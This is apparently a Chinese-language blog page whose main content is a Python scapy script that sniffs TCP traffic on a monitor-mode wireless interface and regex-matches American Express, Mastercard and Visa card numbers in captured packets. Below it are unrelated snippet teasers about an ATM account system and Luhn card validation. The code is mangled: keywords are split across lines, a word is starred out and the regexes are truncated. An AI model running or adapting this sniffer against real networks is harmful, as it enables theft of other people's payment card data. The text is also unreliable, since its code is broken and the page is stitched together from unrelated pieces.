以下**搜找三種常用的信用卡
每乙個信用卡的卡號都有不同的規則
命令列輸入如下
python 路勁 -i wlan0mon
後面是你的處於監聽模式下的網絡卡的名字
注意sniff函式屬於scapy庫的,他會解析抓取到的資料報
import re
import optparse
from scapy.
allimport
*def
findcreditcard
(pkt)
: raw = pkt.sprintf(
'%raw.load%'
) americare = re.findall(
'3[47][0-9]'
, raw)
masterre = re.findall(
'5[1-5][0-9]'
, raw)
visare = re.findall(
'4[0-9](?:[0-9])?'
, raw)
if americare:
print
'[+] found american express card: '
+ americare[0]
if masterre:
print
'[+] found mastercard card: '
+ masterre[0]
if visare:
print
'[+] found visa card: '
+ visare[0]
defmain()
: parser = optparse.optionparser(
'usage %prog -i '
) parser.add_option(
'-i'
, dest=
'inte***ce'
,type
='string'
,\ help
='specify inte***ce to listen on'
)(options, args)
= parser.parse_args(
)if options.inte***ce ==
none
:print parser.usage
exit(0)
else
: conf.iface = options.inte***ce
try:print
'[*] starting credit card sniffer.'
sniff(
filter
='tcp'
, prn=findcreditcard, store=0)
except keyboardinterrupt:
exit(0)
if __name__ ==
'__main__'
: main(
)
python信用卡管理 python信用卡操作
python python開發 python語言 python信用卡操作 import datetime user dict dict 用來儲存使用者的賬號 註冊系統 def registered try print welcome to register atm system registered...
python信用卡管理 python信用卡操作
import datetime user dict dict 用來儲存使用者的賬號 註冊系統 def registered try print welcome to register atm system registered user input 請輸入您的賬號 registered pwd in...
python信用卡違約 Python信用卡驗證
以下是luhn演算法 mod10 check 的步驟從右到左每隔兩位數。如果這個 翻倍 結果是兩位數,則將兩位數相加 得到乙個數字的數字。現在將步驟1中的所有單個數字相加。將信用卡號碼中從右到左的奇數字數相加。將步驟2和步驟3的結果相加。如果步驟4的結果可被10整除,則卡號有效 否則無效。我的輸出應...